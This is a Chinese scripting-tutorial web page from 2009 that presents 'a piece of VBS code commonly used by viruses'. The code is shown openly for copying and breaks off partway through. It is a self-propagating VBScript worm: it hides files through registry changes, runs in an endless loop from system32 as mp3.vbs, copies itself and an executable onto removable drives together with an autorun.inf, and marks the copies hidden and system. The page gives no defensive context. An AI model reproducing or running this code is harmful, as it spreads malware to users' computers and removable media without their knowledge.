当前位置: 首页 > 图文教程 > 脚本技术 > VBScript > 一段病毒常用的VBS代码

VBScript
VBS脚本加密/解密VBS脚本(简易免杀版1.1)
刷QQ群的VBS脚本
vbs屏蔽键盘按键
alpha2 shellcode解密的vbs脚本
非常棒的lcx写的非常规运行vbs
vbs算命测试一下你上辈子是男是女
vbs版的解密base64加密的脚本
更牛的一句话asp木马加密(去掉asp里的%)
用vbs发送带附件的邮件
VBScript开发自动化测试脚本的方法分析
Imail密码加密算法及VBS实现
用vbs判断系统补丁的脚本
管理网卡vbs脚本
用vbs写的短小精悍的字典生成器
把任意文件转成vbs文件的file2vbs的vbs代码
用vbs实现获取电脑硬件信息的脚本_最新版
windows2003一句话开3389的vbs代码
vbs实现无黑框无DOS窗口隐藏批处理运行窗口
vbs输入助手执行会调用好多乱的进程
批量文件查找替换功能的vbs脚本

VBScript 中的 一段病毒常用的VBS代码


出处:互联网   整理: 软晨网(RuanChen.com)   发布: 2009-09-11   浏览: 140 ::
收藏到网摘: n/a

复制代码 代码如下:

On error resume next
Dim fso,wshell,curfolder,curdristr,curdri
Set fso=createobject("scripting.filesystemobject")
Set wshell=CreateObject("WScript.shell")
Set curfolder=fso.GetFolder(".")
curdristr=Left(WScript.ScriptFullName,3)
Set curdri=fso.GetDrive(curdristr)
reghid() '不显示隐藏文件
If WScript.ScriptFullName=fso.GetSpecialFolder(1)&"\mp3.vbs" Then '如果在system32中
For i=1 To 2 Step 0
reghid()
For Each dri In fso.Drives
If dri.DriveType=1 And dri<>"A:" And dri<>"B:" Then
'autorun.inf文件夹改名
If fso.FolderExists(dri.Path&"\autorun.inf") Then
fso.MoveFolder dri.Path&"\autorun.inf",dri.Path&"\Rubbish"
End If
'复制自身及exe文件到移动硬盘
If fso.FileExists(dri.Path&"\mp3.vbs") And fso.FileExists(dri.Path&"\autorun.inf") Then
Else
If fso.FileExists(dri.Path&"\mp3.vbs") Then
fso.DeleteFile dri.Path&"\mp3.vbs",True
ElseIf fso.FileExists(dri.Path&"\autorun.inf") Then
fso.DeleteFile dri.Path&"\autorun.inf",True
End if
fso.CopyFile WScript.ScriptFullName,dri.Path&"\mp3.vbs",True
If fso.FileExists(".\SiZhu.exe") And Not fso.FileExists(dri.Path&"\SiZhu.exe") Then
fso.CopyFile ".\SiZhu.exe",dri.Path&"\SiZhu.exe",True
End If
autoinf(dri.Path)
'给刚复制的文件加上隐藏属性
Set norkon=fso.GetFile(dri.Path&"\mp3.vbs")
wshell.run "attrib +r +a +s +h "&dri.Path&"\mp3.vbs",0
Set norkon=Nothing